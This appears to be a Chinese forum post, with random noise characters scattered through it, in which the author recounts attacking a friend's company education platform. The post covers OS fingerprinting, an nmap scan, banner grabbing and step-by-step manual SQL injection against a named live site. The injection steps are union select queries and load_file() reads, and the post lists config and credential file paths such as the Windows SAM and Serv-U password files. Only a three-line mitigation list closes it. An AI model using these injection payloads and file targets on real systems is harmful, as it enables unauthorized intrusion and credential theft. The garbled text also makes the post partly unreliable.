题记：, k; ~5 z& M! T
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……7 S- T8 V! I9 S+ V/ ~. \: E
第一步：获取需要的信息) }4 e: W7 C2 H
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
# R2 o' b- v+ c9 f5 i注：以下为保护特用XXX代替敏感信息4 {* H- V7 W' f# S+ n
顺手先PING了一下他们的域名：, `) D' \+ j' r! L
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
0 b$ K' Z# A! g4 e64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
. V2 V2 z" r, T, D顺便了解一下TTL，学好基础知识才能一路顺风：
2 w. o6 n8 B: z; R% X# V. Z1 a0 j6 I ITTL：(Time To Live ) 生存时间
/ h6 e8 V, z, C, D% B" Q指定数据包被路由器丢弃之前允许通过的网段数量。6 D9 z4 g d. S& e- S* L
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。
( F- b4 Y+ R6 X/ G: Y( a% N' H使用PING时涉及到的 ICMP 报文类型
: E, v; O6 k) P- L9 n1 k) I一个为ICMP请求回显（ICMP Echo Request）
+ v( K. s& O9 G( H2 m: a7 @一个为ICMP回显应答（ICMP Echo Reply）
g& D. T: G; q8 YTTL 字段值可以帮助我们识别操作系统类型。5 T3 }" p h7 N- r+ r7 n) M
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
$ T: T1 O$ n% J4 }! h9 o5 b/ m3 B g$ xCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
~" w% h; Y* l7 B) C6 A6 B3 H微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128& ]# B$ {6 D4 |% `0 C# h2 S$ s% J
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
) T. T Y9 @, T* | N! z+ F- a% O当然，返回的TTL值是相同的: w! d" s: G7 e; o8 u' d
但有些情况下有所特殊& F# u) S8 K4 s: |
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64& p ~& C9 W; q% r, \/ ]
FreeBSD 4.1, 4.0, 3.4;3 `9 Q0 s7 s& f# m
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
1 U; a. a1 W9 M$ sOpenBSD 2.6, 2.7,
2 H2 f5 ~/ X/ I3 LNetBSD
Q& |1 x( x6 C9 u- E3 {; r8 V; HHP UX 10.20! r G+ ~9 a6 S! V% y
ICMP 回显应答的 TTL 字段值为 255/ r7 Q: b; m& {8 @' h
Windows 95/98/98SE, c) d: z( J0 j. w2 N4 E/ g' K
Windows ME, f9 r( k' z# Q5 H; y
ICMP 回显应答的 TTL 字段值为 327 n% c, m: e/ W; ~2 F- ]. M+ o
Windows NT4 WRKS* w- H1 u0 P6 Z% s6 X
Windows NT4 Server( u7 }3 I7 }5 @$ n, s
Windows 2000' U' E! D) Q0 i' R8 ~7 M- i
Windows XP- U3 u+ w* S8 G. ~ b1 `, K
ICMP 回显应答的 TTL 字段值为 128
3 B7 }# E6 O4 g `' e) n这样，我们就可以通过这种方法来辨别操作系统
: y' N/ s. e6 P6 @TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255; A4 n# Z( R; N3 x: _
用NMAP扫描一下：
9 F9 \4 P/ W, V" Nnmap -sT -O XXX.XXX.XXX.XXX2 @7 c( J# a; X" P+ P
如果没有装WinPcap则会弹出提示：
" J$ |8 u/ ?! n) [- j- C1 C0 GWARNING: Could not import all necessary WinPcap functions. You may need to upgr$ S2 P3 I- y4 Z8 Y8 d
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
$ |4 R$ I$ w# a: I) mode — Nmap may not function completely8 K9 s3 l1 C2 L0 w" o
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
2 Q, _) e/ E; ]6 land iphlpapi.dll be installed. You seem to be missing one or both of these. Win
# P" Y' m7 N" P' D Spcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an6 f( o V" g# y6 J& G ~ ~
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v" j" G4 W7 @8 p
ersions, you may be able to take iphlpapi.dll from another system and place it i0 O; |1 z5 f, b4 s
n your system32 dir (e.g. c:\windows\system32).* G: @! O2 u2 G# ?4 t& @; D
QUITTING!
~4 ~# k" ^+ s到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe$ y. z& u1 n7 a6 j1 `
安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：7 n9 V N$ O2 @- v" D2 ^' t* b
Interesting ports on XXX.XXX.XXX.XXX:- j" @" J% k1 F, Y
Not shown: 986 closed ports
4 o, V4 l" ?5 Z/ J! {! a: ^PORT STATE SERVICE
3 ~. H2 g) N0 A21/tcp open ftp
, f+ r( i. S9 }/ Y! S, [22/tcp open ssh
8 m1 t* T( x) b5 Y: b0 w: J23/tcp open telnet% J. q, U( k7 r% }
80/tcp open http
7 w3 U' J- W' ]/ a9 b111/tcp open rpcbind
9 Q2 E' _3 P$ R0 F+ Q3 c135/tcp filtered msrpc5 v) |: D8 j0 V8 G8 |1 C) L- w
139/tcp filtered netbios-ssn
9 k2 A' }1 g& L( t5 O. r2 Y5 x/ }445/tcp filtered microsoft-ds
9 B2 {1 T* {" ^, w9 ~513/tcp open login u% o* U. T0 S0 S
514/tcp open shell9 Y- W3 Q3 |! D& y' _' k5 q H! c
593/tcp filtered http-rpc-epmap
% k6 @; |' R7 l3 q* G; Z! h& D; {+ W1720/tcp filtered H.323/Q.931
: D k1 z6 W `" i. ]2 a3306/tcp open mysql
0 S9 u+ S$ ^. J4444/tcp filtered krb524
( s' s0 @9 @# `$ c8 N( c. s- UDevice type: WAP+ ]9 S" @$ \$ a5 _6 r `
Running: Linux 2.4.X
$ E3 I5 X" Y3 {3 N, \. h: a1 G9 gOS details: DD-WRT (Linux 2.4.35s)
) W; R; u3 H! T8 D, A6 ^6 ?* O8 Q8 FNetwork Distance: 13 hops
7 N/ n% k, }+ a: y) [! }看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：( C! y$ ?8 ^$ N o9 s, j9 h2 }
login as:
& F* [' |+ n- j- Q+ |Telnet23端口也是开着的，用telnet 命令链接一下：, w m' y! b, Z1 L
telnet XXX.XXX.XXX.XXX
/ P& o- p, B& T- t' F- C提示：
# v* O1 |% z) y& B$ RRed Hat Enterprise Linux Server release 5.2 (Tikanga)3 ~2 k1 S. A. Y/ t& G0 z- \
Kernel 2.6.18-92.el5PAE on an i686
4 \* S$ n' a5 y3 A) c- {login:
8 x" G7 N; p" m. P6 {* y& u获取HTTP头信息：
! I+ d7 ~: h3 a/ k, X在本地执行如下PHP代码
0 q# u4 \) b, v6 Y; F5 u" B<?php: v' R$ i) i5 J" t6 `3 E
$url = ‘XXX.XXX.XXX.XXX’;
/ Z) ~, H8 P) a- m: l9 x+ ], yprint_r(get_headers($url));
8 E: N7 Z: n2 p+ }/ Q. V; mprint_r(get_headers($url, 1));
6 O. g; |" e. E- M7 d?>
- f: `! F: e, B8 j( a将以上代码保存为PHP文件，执行：
6 N' ^$ @& D, R$ I" r$ [, FArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
$ |% |3 S& |+ X$ Q! G9 p& M& Y现在可以得出结论：# P1 f3 ^$ ]5 n" f4 W5 w# D
系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
& g3 p8 p- C B( G( y7 w. V. v6 J- Q内核版本：Kernel 2.6.18-92.el5PAE on an i686
% |- s& ?) D6 v( l+ ]# WWEB服务器版本：nginx/0.7.61
* Z* G* N3 B4 ^6 r( Y, z第二步，开始测试寻找漏洞
" F. e. T; X+ m2 e9 h+ U分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
* e" J& K* d/ s/ _1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
9 P6 a0 J/ G" Z" e8 X" l4 Y2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
F6 C( N( Q2 c: O: y, ~9 Ihttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常1 t4 _; [: }: E* W. C6 o+ g; h
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
( a) f! H2 w5 P) A @; R f恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
! L/ ]9 \# V$ z! z- S1 ^3、手工注入：
; I# N/ P6 U* G9 [, T; L注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。0 ?. N. ]/ w$ e( c
3.1 猜测当前表字段数
1 F3 `; r2 W$ R9 M( {2 O" X$ bhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
: Y) J9 |- K9 ~, M此处猜测有个简单的算法，都是有技巧的吗，呵呵0 }7 B9 Z# [# @& a7 n- j
算法简单如下：( `) F, X5 y& N$ e6 F
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；* p: I2 j- }# _2 ?; d
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
% l6 Y) B1 _; `: O3 t& w# J! [需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。- N9 A0 o# m2 {1 z
以此来判断，是否过界，配合取中算法猜出字段数。
2 h& ~5 R1 |# N举例：
6 ~" C6 q7 ^' J/ k& r. t1 Chttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
0 L: r' _# y9 I) o% q! N+ c: hhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误+ L5 l/ B) B8 U' h0 D. f
此时3则为我们要找的字段数。3 x. |5 C# {5 {; I0 j% L/ \5 T" {
3.2 配合union联合查询字段在页面所位置( w" P3 S: T. |5 j
我们已经知道了字段数为3，此时则可以做如下操作：) }8 K2 b( C. v5 f/ G/ h2 h# T" z
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3. z# s, w9 i" ]- p4 ]0 i
* J0 p& P8 G$ Q+ g这样就可以测试到哪些字段在页面上有所显示了，如图：
8 K) b: L& p' @- u+ S* Z/ }4 h& r9 k" T4 J- P+ ~4 v; ~
3.3 查敏感信息5 s4 [2 _' J& c# D% g# p& O
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。+ [) U6 v3 B$ m2 [& j- ]
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()3 v) q) v6 l2 {2 F
3.3.1 先查数据库用户、数据库名，以备后用，如图：1 @+ \1 O5 {, S! {& ^/ P
4 M4 H8 O; J0 }
得到数据库用户为root、数据库名为DBxx；3 h! j" L/ W' G7 o" K; x
3.3.2 查配置文件
2 X2 x+ R2 \( e4 @查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
- n, b A3 U! i查看文件有一定的条件限制：4 t7 n+ y. t0 }% ]
欲读取文件必须在服务器上. q" ?: B7 Y* Z* p+ X* {- I
必须指定文件完整的路径
; l* f( W; k4 R, B. z5 S必须有权限读取并且文件必须完全可读
; y& Q1 r: e7 y% [% H5 p" I欲读取文件必须小于 max_allowed_packet
r# |& [; H6 `# hMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
! h3 Y% G. t1 }; t: ^; _常用的一些：1 A( L) { h4 o+ Q6 p) N( B
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
2 Q1 x, {/ S$ g0 h/usr/local/apache2/conf/httpd.conf+ }# ?$ [4 z8 B i- L1 O6 W
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置; O1 R( {# ~6 W9 X6 d* [- g
/usr/local/app/php5/lib/php.ini //PHP相关设置 ?0 R" ?2 A4 j: Z
/etc/sysconfig/iptables //从中得到防火墙规则策略' O! R; C/ }# v
/etc/httpd/conf/httpd.conf // apache配置文件
, t1 }* w; C) {& k/etc/rsyncd.conf //同步程序配置文件7 j+ j2 {5 T0 o4 }! r
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.: |, }. Z/ @% |" Y2 A- N
/etc/my.cnf //mysql的配置文件3 \9 R1 q5 M8 N: r8 ]3 o; ]! S$ w
/etc/redhat-release //系统版本
- h: R6 M( j$ B0 K8 O+ f4 D9 H/etc/issue2 [' r! X; {# h- h9 {
/etc/issue.net
. l7 l2 m G2 M1 ^8 f+ ]7 r& J: L/ L; Sc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码" |2 q; C$ k+ j5 t. v R5 v) ?
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码# L# x* g* a' z3 ]; l+ d4 @
c:\Program Files\Serv-U\ServUDaemon.ini
* x2 I6 L& ] t$ m2 w- U) Uc:\windows\my.ini //MYSQL配置文件
0 A9 T7 z# O( y& X& r9 I: Uc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件9 L2 ]0 W% j0 G% a! I4 @
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
. W; o6 P T* D7 Oc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码 c1 R1 U6 r/ s) F# q& o. a
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
6 i5 G6 p4 G2 H) Q' F `c:\Program Files\RhinoSoft.com\ServUDaemon.exe
/ C& K% H1 n; h4 {5 A( ?/ \4 b1 RC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件+ k# s0 M$ w1 o7 d; |
//存储了pcAnywhere的登陆密码
" y, d W0 j* i( ?5 F' z! z e由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
: m. m$ D. H+ J1 U6 q这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。: s3 W+ e" D6 {: O' X
最后：防范措施
1 [1 E. {0 f% n: [3 i* ?* ~& Y* N$ `1、修复PHP注入漏洞；: Z9 L0 |* {+ ]2 [# @. Z4 w
2、Mysql使用普通权限的用户；. w e7 z& f, S/ ?
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对